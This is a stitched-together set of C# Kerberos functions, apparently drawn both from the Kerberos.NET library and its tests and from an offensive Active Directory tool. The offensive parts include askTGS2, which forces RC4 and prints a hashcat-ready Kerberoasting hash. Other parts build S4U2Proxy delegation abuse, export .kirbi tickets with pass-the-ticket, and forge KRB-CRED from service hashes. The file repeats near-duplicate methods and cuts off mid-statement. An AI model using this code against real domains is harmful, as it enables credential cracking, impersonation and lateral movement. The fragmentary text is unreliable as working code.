internal object GetCacheItem(string key) { Krb5Credential cred = this.FindCredential(key); if (cred is null) { return(cred); } return(new KerberosClientCacheEntry { KdcResponse = new KrbTgsRep { Ticket = KrbTicket.DecodeApplication(cred.Ticket), CName = KrbPrincipalName.FromString(cred.Client.FullyQualifiedName), CRealm = cred.Client.Realm, EncPart = new KrbEncryptedData { } }, SessionKey = new KrbEncryptionKey { EType = cred.KeyBlock.Key, KeyValue = cred.KeyBlock.Value }, Flags = cred.Flags, SName = KrbPrincipalName.FromString(cred.Server.FullyQualifiedName) }); }
private static object CredToCacheEntry(Krb5Credential cred) { return(new KerberosClientCacheEntry { KdcResponse = new KrbTgsRep { Ticket = KrbTicket.DecodeApplication(cred.Ticket), CName = KrbPrincipalName.FromString(cred.Client.FullyQualifiedName, cred.Client.Type), CRealm = cred.Client.Realm, EncPart = new KrbEncryptedData { } }, SessionKey = new KrbEncryptionKey { EType = cred.KeyBlock.Key, KeyValue = cred.KeyBlock.Value }, Flags = cred.Flags, SName = KrbPrincipalName.FromString(cred.Server.FullyQualifiedName), AuthTime = cred.AuthTime, StartTime = cred.StartTime, EndTime = cred.EndTime, RenewTill = cred.RenewTill <= DateTimeOffset.MinValue ? null : cred.RenewTill }); }
private void ListTickets(string cache) { TicketCacheBase.TryParseCacheType(cache, out _, out string path); var ticketCache = new Krb5TicketCache(path); var tickets = ticketCache.Krb5Cache.Credentials.ToArray(); this.IO.Writer.WriteLine("{0}: {1}", SR.Resource("CommandLine_KList_Count"), tickets.Length); this.IO.Writer.WriteLine(); for (var i = 0; i < tickets.Length; i++) { var ticket = tickets[i]; KrbTicket decodedTicket = TryParseTicket(ticket.Ticket); var properties = new List <(string, string)> { ("CommandLine_KList_Client", $"{ticket.Client.FullyQualifiedName} @ {ticket.Client.Realm}"), ("CommandLine_KList_Server", $"{ticket.Server.FullyQualifiedName} @ {ticket.Server.Realm}"), ("CommandLine_KList_TicketEType", $"{decodedTicket?.EncryptedPart?.EType.ToString()}"), ("CommandLine_KList_Flags", ticket.Flags.ToString()), ("CommandLine_KList_Start", ticket.AuthTime.ToLocalTime().ToString(CultureInfo.CurrentCulture)), ("CommandLine_KList_End", ticket.EndTime.ToLocalTime().ToString(CultureInfo.CurrentCulture)), ("CommandLine_KList_RenewTime", ticket.RenewTill.ToLocalTime().ToString(CultureInfo.CurrentCulture)) }; var ticketEntryNumber = string.Format("#{0}>", i); var max = properties.Max(p => p.Item1.Length); bool first = true; foreach (var prop in properties) { var key = string.Format("{0}: ", SR.Resource(prop.Item1)).PadLeft(max - 1).PadRight(max); if (first) { key = ticketEntryNumber + key.Substring(ticketEntryNumber.Length); first = false; } this.IO.Writer.Write(key); this.IO.Writer.WriteLine(prop.Item2); } this.IO.Writer.WriteLine(); } }
private static async Task RequestTickets(string user, string password, string overrideKdc, string s4u, string spn) { var kerbCred = new KerberosPasswordCredential(user, password); using (KerberosClient client = new KerberosClient(overrideKdc)) { await client.Authenticate(kerbCred); spn = spn ?? "host/appservice.corp.identityintervention.com"; KrbTicket s4uTicket = null; if (!string.IsNullOrWhiteSpace(s4u)) { var s4uSelf = await client.GetServiceTicket( kerbCred.UserName, ApOptions.MutualRequired, s4u : s4u ); s4uTicket = s4uSelf.Ticket; } var ticket = await client.GetServiceTicket( spn, ApOptions.MutualRequired, s4uTicket : s4uTicket ); var encoded = ticket.EncodeApplication().ToArray(); var authenticator = new KerberosAuthenticator( new KeyTable( new KerberosKey( "P@ssw0rd!", principalName: new PrincipalName( PrincipalNameType.NT_PRINCIPAL, "CORP.IDENTITYINTERVENTION.com", new[] { spn } ), saltType: SaltType.ActiveDirectoryUser ) ) ); var validated = (KerberosIdentity)await authenticator.Authenticate(encoded); DumpClaims(validated); } }
private static KrbTicket TryParseTicket(ReadOnlyMemory <byte> ticket) { if (ticket.Length <= 0) { return(null); } try { return(KrbTicket.DecodeApplication(ticket)); } catch (CryptographicException) { } return(null); }
private void ListTickets(KerberosClient client) { IEnumerable <KerberosClientCacheEntry> cache; if (client.Cache is ITicketCache2 cache2) { cache = cache2.GetAll().Cast <KerberosClientCacheEntry>(); } else { cache = Array.Empty <KerberosClientCacheEntry>(); } var tickets = cache.Where(c => c.EndTime > DateTimeOffset.UtcNow).ToArray(); this.WriteLine(string.Format("{0}: {{TicketCount}}", SR.Resource("CommandLine_KList_Count")), tickets.Length); this.WriteLine(); for (var i = 0; i < tickets.Length; i++) { var ticket = tickets[i]; KrbTicket decodedTicket = ticket.KdcResponse.Ticket; var properties = new List <(string, (string, object[]))> { (SR.Resource("CommandLine_KList_Client"), ("{CName} @ {Realm}", new[] { ticket.KdcResponse.CName.FullyQualifiedName, ticket.KdcResponse.CRealm })), (SR.Resource("CommandLine_KList_Server"), ("{SName} @ {Realm}", new[] { ticket.SName.FullyQualifiedName, ticket.KdcResponse.Ticket.Realm })), (SR.Resource("CommandLine_KList_TicketEType"), ("{EType} ({ETypeInt})", new object[] { decodedTicket?.EncryptedPart?.EType, (int)decodedTicket?.EncryptedPart?.EType })), (SR.Resource("CommandLine_KList_Flags"), ("{FlagsHex:x} -> {Flags}", new object[] { (uint)ticket.Flags, ticket.Flags })), (SR.Resource("CommandLine_KList_Start"), ("{StartTime}", new object[] { ticket.AuthTime.ToLocalTime() })), (SR.Resource("CommandLine_KList_End"), ("{EndTime}", new object[] { ticket.EndTime.ToLocalTime() })), (SR.Resource("CommandLine_KList_RenewTime"), ("{RenewTime}", new object[] { ticket.RenewTill?.ToLocalTime() })), }; if (ticket.SessionKey != null) { properties.Add((SR.Resource("CommandLine_KList_SessionEType"), ("{EType} ({ETypeInt})", new object[] { ticket.SessionKey.EType, (int)ticket.SessionKey.EType }))); } if (ticket.BranchId > 0) { properties.Add((SR.Resource("CommandLine_KList_BranchId"), ("{BranchHex:x} -> {Branch}", new object[] { (uint)ticket.Flags, ticket.Flags }))); } if (!string.IsNullOrWhiteSpace(ticket.KdcCalled)) { properties.Add((SR.Resource("CommandLine_KList_KdcCalled"), ("{Kdc}", new object[] { ticket.KdcCalled }))); } var ticketEntryNumber = string.Format("#{0}>", i); var max = properties.Max(p => p.Item1.Length) + 10; bool first = true; foreach (var prop in properties) { var key = SR.Resource(prop.Item1).PadLeft(max - 1).PadRight(max); if (first) { key = ticketEntryNumber + key[ticketEntryNumber.Length..];
private static async Task RequestTickets( X509Certificate2 cert, string user, string password, string overrideKdc, string s4u, string spn, bool retryDH, bool includeCNameHint, string servicePassword, string serviceSalt ) { KerberosCredential kerbCred; if (cert == null) { kerbCred = new KerberosPasswordCredential(user, password); } else { var chain = new X509Chain(); chain.ChainPolicy.RevocationMode = X509RevocationMode.NoCheck; chain.Build(cert); var kdcCerts = new List <X509Certificate2>(); for (var i = 0; i < chain.ChainElements.Count; i++) { var c = chain.ChainElements[i].Certificate; if (c.Thumbprint != cert.Thumbprint) { kdcCerts.Add(c); } } if (retryDH) { kerbCred = new RandomDHAsymmetricCredential(cert, user); } else { kerbCred = new TrustedKdcAsymmetricCredential(cert, user); } } KerberosClient client; if (Uri.TryCreate(overrideKdc, UriKind.Absolute, out Uri kdcProxy)) { var kdcProxyTransport = new HttpsKerberosTransport() { DomainPaths = new Dictionary <string, Uri> { { kdcProxy.DnsSafeHost.ToLowerInvariant(), kdcProxy }, { kerbCred.Domain.ToLowerInvariant(), kdcProxy } } }; client = new KerberosClient(null, kdcProxyTransport); } else { client = new KerberosClient(overrideKdc); } if (includeCNameHint) { client.CNameHint = KrbPrincipalName.FromString(kerbCred.UserName, PrincipalNameType.NT_PRINCIPAL, kerbCred.Domain); } using (client) using (kerbCred as IDisposable) { await client.Authenticate(kerbCred); W("AS-REQ Succeeded", ConsoleColor.Green); spn = spn ?? "host/appservice.corp.identityintervention.com"; KrbTicket s4uTicket = null; if (!string.IsNullOrWhiteSpace(s4u)) { var s4uSelf = await client.GetServiceTicket( kerbCred.UserName, ApOptions.MutualRequired, s4u : s4u ); s4uTicket = s4uSelf.Ticket; } var ticket = await client.GetServiceTicket( spn, ApOptions.MutualRequired, s4uTicket : s4uTicket ); DumpTicket(ticket); ResetColor(); if (!retryDH) { try { await TryValidate(spn, ticket, servicePassword, serviceSalt); } catch (Exception ex) { W(ex.Message, ConsoleColor.Yellow); ResetColor(); } } } }
private static async Task RequestTickets( X509Certificate2 cert, string user, string password, string overrideKdc, string s4u, string spn, bool retryDH, bool includeCNameHint, string servicePassword, string serviceSalt, bool cacheToFile ) { KerberosCredential kerbCred; if (cert == null) { kerbCred = new KerberosPasswordCredential(user, password); } else { var chain = new X509Chain(); chain.ChainPolicy.RevocationMode = X509RevocationMode.NoCheck; chain.Build(cert); var kdcCerts = new List <X509Certificate2>(); for (var i = 0; i < chain.ChainElements.Count; i++) { var c = chain.ChainElements[i].Certificate; if (c.Thumbprint != cert.Thumbprint) { kdcCerts.Add(c); } } if (retryDH) { kerbCred = new RandomDHAsymmetricCredential(cert, user); } else { kerbCred = new TrustedKdcAsymmetricCredential(cert, user); } } var factory = LoggerFactory.Create(builder => { builder.AddConsole(opt => opt.IncludeScopes = true); builder.AddFilter <ConsoleLoggerProvider>(level => level >= LogLevel.Trace); }); var client = new KerberosClient(logger: factory); if (Uri.TryCreate(overrideKdc, UriKind.Absolute, out Uri kdcProxy)) { client.Configuration.Realms[kdcProxy.DnsSafeHost].Kdc.Add(kdcProxy.OriginalString); client.Configuration.Realms[kerbCred.Domain].Kdc.Add(kdcProxy.OriginalString); client.Configuration.Defaults.DnsLookupKdc = false; } else if (!string.IsNullOrWhiteSpace(overrideKdc)) { client.Configuration.Defaults.DnsLookupKdc = false; client.PinKdc(kerbCred.Domain, overrideKdc); } if (cacheToFile) { client.Configuration.Defaults.DefaultCCacheName = "krb5cc"; } KrbPrincipalName cnameHint = null; if (includeCNameHint) { cnameHint = KrbPrincipalName.FromString(kerbCred.UserName, PrincipalNameType.NT_PRINCIPAL, kerbCred.Domain); } client.RenewTickets = true; using (client) using (kerbCred as IDisposable) { await client.Authenticate(kerbCred); spn = spn ?? "host/appservice.corp.identityintervention.com"; KrbTicket s4uTicket = null; if (!string.IsNullOrWhiteSpace(s4u)) { var s4uSelf = await client.GetServiceTicket( kerbCred.UserName, ApOptions.MutualRequired, s4u : s4u ); s4uTicket = s4uSelf.Ticket; } var session = await client.GetServiceTicket( new RequestServiceTicket { ServicePrincipalName = spn, ApOptions = ApOptions.MutualRequired, S4uTicket = s4uTicket, CNameHint = cnameHint } ); DumpTicket(session.ApReq); ResetColor(); if (!retryDH) { try { await TryValidate(spn, session.ApReq, servicePassword, serviceSalt, factory); } catch (Exception ex) { W(ex.Message, ConsoleColor.Yellow); ResetColor(); } } } }
//TODO... //askTGS with TGT kirbi public static async System.Threading.Tasks.Task <TicketFlags> askTGS2(string kdc, ILoggerFactory logger, TcpKerberosTransport transport, KrbAsRep asRep, string username, string password, string domainName, string spn, bool isUnconstrained = false, bool outKirbi = false, bool verbose = false, bool kerberoast = false, bool ptt = false, string hash = null, EncryptionType etype = EncryptionType.RC4_HMAC_NT, bool outfile = false, string srvName = null, string tgsHash = null, EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96 ) { var now = DateTime.Now; credKey = password != null ? new KerberosPasswordCredential(username, password, domainName).CreateKey() : new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey(); KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep( asRep, KeyUsage.EncAsRepPart, d => KrbEncAsRepPart.DecodeApplication(d)); var sessionKey = asDecrypted.Key; //Request Service Ticket parameters ApOptions apOptions = ApOptions.Reserved; KdcOptions kdcOptions = KdcOptions.Forwardable | KdcOptions.Renewable | KdcOptions.RenewableOk | KdcOptions.Canonicalize; string s4u = null; KrbTicket s4uTicket = null; KrbTicket u2uServerTicket = null; if (isUnconstrained) { spn = $"krbtgt/{domainName}"; kdcOptions |= KdcOptions.Forwarded; } var rst = new RequestServiceTicket() { ServicePrincipalName = spn, ApOptions = apOptions, S4uTarget = s4u, S4uTicket = s4uTicket, UserToUserTicket = u2uServerTicket, KdcOptions = kdcOptions, Realm = domainName }; var sname = rst.ServicePrincipalName.Split('/', '@'); var tgt = asRep.Ticket; var additionalTickets = new List <KrbTicket>(); if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null) { additionalTickets.Add(rst.UserToUserTicket); } if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) { rst.KdcOptions |= KdcOptions.Forwardable; } if (rst.S4uTicket != null) { rst.KdcOptions |= KdcOptions.ConstrainedDelegation; additionalTickets.Add(rst.S4uTicket); } var body = new KrbKdcReqBody { //Specify RC4 as the only supported EType EType = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(), KdcOptions = rst.KdcOptions, Nonce = KrbConstants.KerberosConstants.GetNonce(), Realm = rst.Realm, SName = new KrbPrincipalName() { Type = PrincipalNameType.NT_SRV_INST, Name = sname }, Till = KrbConstants.KerberosConstants.EndOfTime, CName = rst.CNameHint }; if (additionalTickets.Count > 0) { body.AdditionalTickets = additionalTickets.ToArray(); } var bodyChecksum = KrbChecksum.Create( body.Encode(), sessionKey.AsKey(), KeyUsage.PaTgsReqChecksum ); //ApReq //Authenticator var authenticator = new KrbAuthenticator { CName = asRep.CName, Realm = asRep.Ticket.Realm, SequenceNumber = KrbConstants.KerberosConstants.GetNonce(), Checksum = bodyChecksum, CTime = now, CuSec = now.Millisecond //new Random().Next(0, 999999) }; var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType); subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey; authenticator.Subkey = subSessionKey; var encryptedAuthenticator = KrbEncryptedData.Encrypt( authenticator.EncodeApplication(), sessionKey.AsKey(), KeyUsage.PaTgsReqAuthenticator ); var apReq = new KrbApReq { Ticket = tgt, ApOptions = apOptions, Authenticator = encryptedAuthenticator }; var pacOptions = new KrbPaPacOptions { Flags = PacOptions.BranchAware }.Encode(); var paData = new List <KrbPaData>() { new KrbPaData { Type = PaDataType.PA_TGS_REQ, Value = apReq.EncodeApplication() }, new KrbPaData { Type = PaDataType.PA_PAC_OPTIONS, Value = pacOptions } }; if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) { var paS4u = new KrbPaForUser { AuthPackage = "Kerberos", UserName = new KrbPrincipalName { Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u } }, UserRealm = tgt.Realm }; paS4u.GenerateChecksum(subSessionKey.AsKey()); paData.Add(new KrbPaData { Type = PaDataType.PA_FOR_USER, Value = paS4u.Encode() }); } var tgs = new KrbTgsReq { PaData = paData.ToArray(), Body = body }; ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication(); Console.WriteLine("[*] Sending TGS-REQ ..."); if (verbose) { PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey()); } CancellationToken cancellation = default; cancellation.ThrowIfCancellationRequested(); KrbTgsRep tgsRep = null; try { tgsRep = await transport.SendMessage <KrbTgsRep>( rst.Realm, encodedTgs, cancellation ); } catch (KerberosProtocolException pex) { Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message); Environment.Exit(0); } Console.WriteLine("[*] Receiving TGS-REP ..."); if (verbose) { PrintFunc.PrintRep(tgsRep, credKey); } var returnFlag = TicketFlags.Anonymous; try { //TGS-REP Enc-Part //https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144 KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>( subSessionKey.AsKey(), KeyUsage.EncTgsRepPartSubSessionKey, (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t)); if (verbose) { Console.WriteLine(" * [Decrypted Enc-Part]:"); PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey); returnFlag = tgsDecryptedRepPart.Flags; if (!string.IsNullOrEmpty(tgsHash)) { //========================================= //TGS Tiket Enc-Part //Service account Cred var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype); //TGS-REQ Ticket Enc-Part KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt <KrbEncTicketPart> (kerbCred2.CreateKey(), KeyUsage.Ticket, (ReadOnlyMemory <byte> t) => KrbEncTicketPart.DecodeApplication(t)); Console.WriteLine(" * [Decrypted Ticket Enc-Part]:"); PrintFunc.PrintTicketEnc(ticketDecrypted); //========================================= } } if (outKirbi || outfile) { var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt); if (outKirbi) { Console.WriteLine("[+] TGS Kirbi:"); Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS)); } if (outfile) { Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS); } } } catch (Exception e) { Console.WriteLine("[x] {0}", e.Message); } if (kerberoast) { //Kerberoasting var encType = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString()); var myCipher = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", ""); var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32)); Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash); } return(returnFlag); }
internal static async Task RequestAndValidateTicketsWithCaches( KdcListener listener, string user, string password = null, string overrideKdc = null, KeyTable keytab = null, string s4u = null, bool encodeNego = false, bool caching = false, bool includePac = true, X509Certificate2 cert = null, string spn = FakeAppServiceSpn, KeyAgreementAlgorithm keyAgreement = KeyAgreementAlgorithm.DiffieHellmanModp14, bool allowWeakCrypto = false, bool useWeakCrypto = false, bool mutualAuth = true, KrbTicket s4uTicket = null, bool useKrb5TicketCache = false ) { KerberosCredential kerbCred; if (cert != null) { kerbCred = new TrustedAsymmetricCredential(cert, user) { KeyAgreement = keyAgreement }; } else if (keytab != null) { kerbCred = new KeytabCredential(user, keytab); } else { kerbCred = new KerberosPasswordCredential(user, password); } KerberosClient client = CreateClient( listener, overrideKdc, caching: caching, allowWeakCrypto: allowWeakCrypto, useWeakCrypto: useWeakCrypto, useKrb5TicketCache: useKrb5TicketCache ); using (kerbCred as IDisposable) using (client) { if (!includePac) { client.AuthenticationOptions &= ~AuthenticationOptions.IncludePacRequest; } await client.Authenticate(kerbCred); var ticket = await client.GetServiceTicket( new RequestServiceTicket { ServicePrincipalName = spn, ApOptions = mutualAuth ? ApOptions.MutualRequired : 0 } ); await ValidateTicket(ticket, includePac : includePac, spn : spn, mutualAuth : mutualAuth); await client.RenewTicket(); ticket = await client.GetServiceTicket( new RequestServiceTicket { ServicePrincipalName = spn, ApOptions = mutualAuth ? ApOptions.MutualRequired : 0 } ); await ValidateTicket(ticket, encodeNego, includePac : includePac, spn : spn, mutualAuth : mutualAuth); ticket = await client.GetServiceTicket( new RequestServiceTicket { ServicePrincipalName = spn, ApOptions = mutualAuth ? ApOptions.MutualRequired : 0, S4uTarget = s4u, S4uTicket = s4uTicket } ); await ValidateTicket(ticket, includePac : includePac, spn : spn, mutualAuth : mutualAuth); } if (user.Contains("-fallback")) { Assert.AreEqual(PrincipalNameType.NT_PRINCIPAL, kerbCred.PrincipalNameType); } else { Assert.AreEqual(PrincipalNameType.NT_ENTERPRISE, kerbCred.PrincipalNameType); } }
internal static async Task RequestAndValidateTickets( KdcListener listener, string user, string password = null, string overrideKdc = null, KeyTable keytab = null, string s4u = null, bool encodeNego = false, bool caching = false, bool includePac = true, X509Certificate2 cert = null, string spn = FakeAppServiceSpn, KeyAgreementAlgorithm keyAgreement = KeyAgreementAlgorithm.DiffieHellmanModp14, bool allowWeakCrypto = false, bool useWeakCrypto = false, bool mutualAuth = true, KrbTicket s4uTicket = null ) { await RequestAndValidateTicketsWithCaches( listener, user, password, overrideKdc, keytab, s4u, encodeNego, caching, includePac, cert, spn, keyAgreement, allowWeakCrypto, useWeakCrypto, mutualAuth, s4uTicket ); if (caching) { await RequestAndValidateTicketsWithCaches( listener, user, password, overrideKdc, keytab, s4u, encodeNego, caching, includePac, cert, spn, keyAgreement, allowWeakCrypto, useWeakCrypto, mutualAuth, s4uTicket, useKrb5TicketCache : true ); } }
//S4U2Proxy //[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo //The KDC checks if the security principal name(SPN) for Service 2, //identified in the sname and srealm fields of the KRB_TGS_REQ message, //is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter. //If it is, then the KDC replies with a service ticket for Service 2. //Otherwise the KDC MUST return `KRB-ERR-BADOPTION`. public static async System.Threading.Tasks.Task S4U2Proxy(string kdc, ILoggerFactory logger, TcpKerberosTransport transport, KrbAsRep asRep, KrbTgsRep s4u2self, string username, string password, string domainName, string impersonateuser, string spn, bool outKirbi = false, bool verbose = false, bool ptt = false, string hash = null, EncryptionType etype = EncryptionType.RC4_HMAC_NT) { var now = DateTime.UtcNow; credKey = password != null ? new KerberosPasswordCredential(username, password, domainName).CreateKey() : new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey(); KrbEncAsRepPart asDecrypted = password != null ? new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep( asRep, KeyUsage.EncAsRepPart, d => KrbEncAsRepPart.DecodeApplication(d)) : new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep( asRep, KeyUsage.EncAsRepPart, d => KrbEncAsRepPart.DecodeApplication(d)); var sessionKey = asDecrypted.Key; //Request Service Ticket parameters ApOptions apOptions = ApOptions.Reserved; KdcOptions kdcOptions = KdcOptions.Forwardable | KdcOptions.Renewable | KdcOptions.RenewableOk; string s4u = null; KrbTicket s4uTicket = s4u2self.Ticket; KrbTicket u2uServerTicket = null; var rst = new RequestServiceTicket() { ServicePrincipalName = spn, ApOptions = apOptions, S4uTarget = s4u, S4uTicket = s4uTicket, UserToUserTicket = u2uServerTicket, KdcOptions = kdcOptions, Realm = domainName }; var sname = rst.ServicePrincipalName.Split('/', '@'); var tgt = asRep.Ticket; var additionalTickets = new List <KrbTicket>(); if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null) { additionalTickets.Add(rst.UserToUserTicket); } if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) { rst.KdcOptions |= KdcOptions.Forwardable; } if (rst.S4uTicket != null) { rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket; additionalTickets.Add(rst.S4uTicket); } //EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT }; string[] name = { }; var body = new KrbKdcReqBody { EType = KrbConstants.KerberosConstants.ETypes.ToArray(), KdcOptions = rst.KdcOptions, Nonce = KrbConstants.KerberosConstants.GetNonce(), Realm = rst.Realm, SName = new KrbPrincipalName() { Type = PrincipalNameType.NT_SRV_INST, Name = sname }, Till = KrbConstants.KerberosConstants.EndOfTime, CName = new KrbPrincipalName() { Type = PrincipalNameType.NT_SRV_INST, Name = name }, }; if (additionalTickets.Count > 0) { body.AdditionalTickets = additionalTickets.ToArray(); } var bodyChecksum = KrbChecksum.Create( body.Encode(), sessionKey.AsKey(), KeyUsage.PaTgsReqChecksum ); //ApReq //Authenticator var authenticator = new KrbAuthenticator { CName = asRep.CName, Realm = asRep.Ticket.Realm, SequenceNumber = KrbConstants.KerberosConstants.GetNonce(), Checksum = bodyChecksum, CTime = now, CuSec = now.Millisecond //new Random().Next(0, 999999) }; var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType); subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey; authenticator.Subkey = subSessionKey; var encryptedAuthenticator = KrbEncryptedData.Encrypt( authenticator.EncodeApplication(), sessionKey.AsKey(), KeyUsage.PaTgsReqAuthenticator ); var apReq = new KrbApReq { Ticket = tgt, ApOptions = apOptions, Authenticator = encryptedAuthenticator }; var pacOptions = new KrbPaPacOptions { Flags = PacOptions.ResourceBasedConstrainedDelegation }.Encode(); var paData = new List <KrbPaData>() { new KrbPaData { Type = PaDataType.PA_TGS_REQ, Value = apReq.EncodeApplication() }, new KrbPaData { Type = PaDataType.PA_PAC_OPTIONS, Value = pacOptions } }; if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) { var paS4u = new KrbPaForUser { AuthPackage = "Kerberos", UserName = new KrbPrincipalName { Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u } }, UserRealm = tgt.Realm }; paS4u.GenerateChecksum(subSessionKey.AsKey()); paData.Add(new KrbPaData { Type = PaDataType.PA_FOR_USER, Value = paS4u.Encode() }); } var tgs = new KrbTgsReq { PaData = paData.ToArray(), Body = body }; ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication(); Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ..."); if (verbose) { PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey()); } CancellationToken cancellation = default; cancellation.ThrowIfCancellationRequested(); KrbTgsRep tgsRep = null; try { tgsRep = await transport.SendMessage <KrbTgsRep>( rst.Realm, encodedTgs, cancellation ); } catch (KerberosProtocolException pex) { Console.WriteLine("[x] Kerberos Error: {0}", pex.Message); Environment.Exit(0); } Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ..."); try { KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>( subSessionKey.AsKey(), KeyUsage.EncTgsRepPartSubSessionKey, (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t)); if (verbose) { PrintFunc.PrintRep(tgsRep, credKey); Console.WriteLine(" * [Decrypted Enc-Part]:"); PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey); } if (outKirbi) { var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt); Console.WriteLine("[+] TGS Kirbi:"); Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS)); } }catch (Exception e) { Console.WriteLine("[x] {0}", e.Message); } }
public static TicketCacheEntry ConvertKrbCredToCacheEntry(KrbEncKrbCredPart credPart, KrbTicket ticket, KrbCredInfo ticketInfo) { var key = new byte[ticketInfo.Key.KeyValue.Length]; ticketInfo.Key.KeyValue.CopyTo(key); var usage = KeyUsage.EncTgsRepPartSessionKey; var sessionKey = new KrbEncryptionKey { EType = ticketInfo.Key.EType, Usage = usage, KeyValue = key }; var kdcRepData = new KrbEncTgsRepPart { AuthTime = ticketInfo.AuthTime ?? DateTimeOffset.UtcNow, EndTime = ticketInfo.EndTime ?? DateTimeOffset.MaxValue, Flags = ticketInfo.Flags, Key = sessionKey, Nonce = credPart.Nonce ?? 0, Realm = ticketInfo.Realm, RenewTill = ticketInfo.RenewTill, SName = ticketInfo.SName, StartTime = ticketInfo.StartTime ?? DateTimeOffset.MinValue, LastReq = Array.Empty <KrbLastReq>() }; return(new TicketCacheEntry { Key = ticket.SName.FullyQualifiedName, Expires = ticketInfo.EndTime ?? DateTimeOffset.MaxValue, RenewUntil = ticketInfo.RenewTill, Value = new KerberosClientCacheEntry { SessionKey = sessionKey, AuthTime = kdcRepData.AuthTime, StartTime = kdcRepData.StartTime, EndTime = kdcRepData.EndTime, RenewTill = kdcRepData.RenewTill, Flags = kdcRepData.Flags, SName = kdcRepData.SName, KdcResponse = new KrbTgsRep { Ticket = ticket, CName = ticketInfo.PName, CRealm = ticketInfo.Realm, EncPart = KrbEncryptedData.Encrypt(kdcRepData.EncodeApplication(), sessionKey.AsKey(), usage) } } }); }
//FROM TGS public static byte[] toKirbi(KrbTicket tgs, string srvName, string srvHash, EncryptionType etype, string service, bool ptt = false, bool verbose = false) { var kerbCred = new Utils.KerberosHashCreds(srvName, srvHash, etype); var ticketDecrypted = tgs.EncryptedPart.Decrypt (kerbCred.CreateKey(), KeyUsage.Ticket, b => KrbEncTicketPart.DecodeApplication(b)); //KrbCredInfo::= SEQUENCE { // key[0] EncryptionKey, //prealm[1] Realm OPTIONAL, //pname[2] PrincipalName OPTIONAL, //flags[3] TicketFlags OPTIONAL, //authtime[4] KerberosTime OPTIONAL, //starttime[5] KerberosTime OPTIONAL, //endtime[6] KerberosTime OPTIONAL //renew - till[7] KerberosTime OPTIONAL, //srealm[8] Realm OPTIONAL, //sname[9] PrincipalName OPTIONAL, //caddr[10] HostAddresses OPTIONAL //} string srvHost = null; if (srvName.Contains("$")) { srvHost = srvName.Replace("$", string.Empty) + "." + ticketDecrypted.CRealm; } else { srvHost = srvName; } var info = new KrbCredInfo() { Key = ticketDecrypted.Key, Realm = ticketDecrypted.CRealm, PName = ticketDecrypted.CName, Flags = ticketDecrypted.Flags, StartTime = ticketDecrypted.StartTime, EndTime = ticketDecrypted.EndTime, RenewTill = ticketDecrypted.RenewTill, SRealm = ticketDecrypted.CRealm, SName = new KrbPrincipalName() { Type = PrincipalNameType.NT_SRV_INST, Name = new[] { service, srvHost } } }; //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { //ticket-info[0] SEQUENCE OF KrbCredInfo, //nonce[1] INTEGER OPTIONAL, //timestamp[2] KerberosTime OPTIONAL, //usec[3] INTEGER OPTIONAL, //s-address[4] HostAddress OPTIONAL, //r-address[5] HostAddress OPTIONAL //} KrbCredInfo[] infos = { info }; var encCredPart = new KrbEncKrbCredPart() { TicketInfo = infos }; //KRB-CRED ::= [APPLICATION 22] SEQUENCE { //pvno[0] INTEGER, //msg - type[1] INTEGER, --KRB_CRED //tickets[2] SEQUENCE OF Ticket, //enc - part[3] EncryptedData //} var myCred = new KrbCred(); myCred.ProtocolVersionNumber = 5; 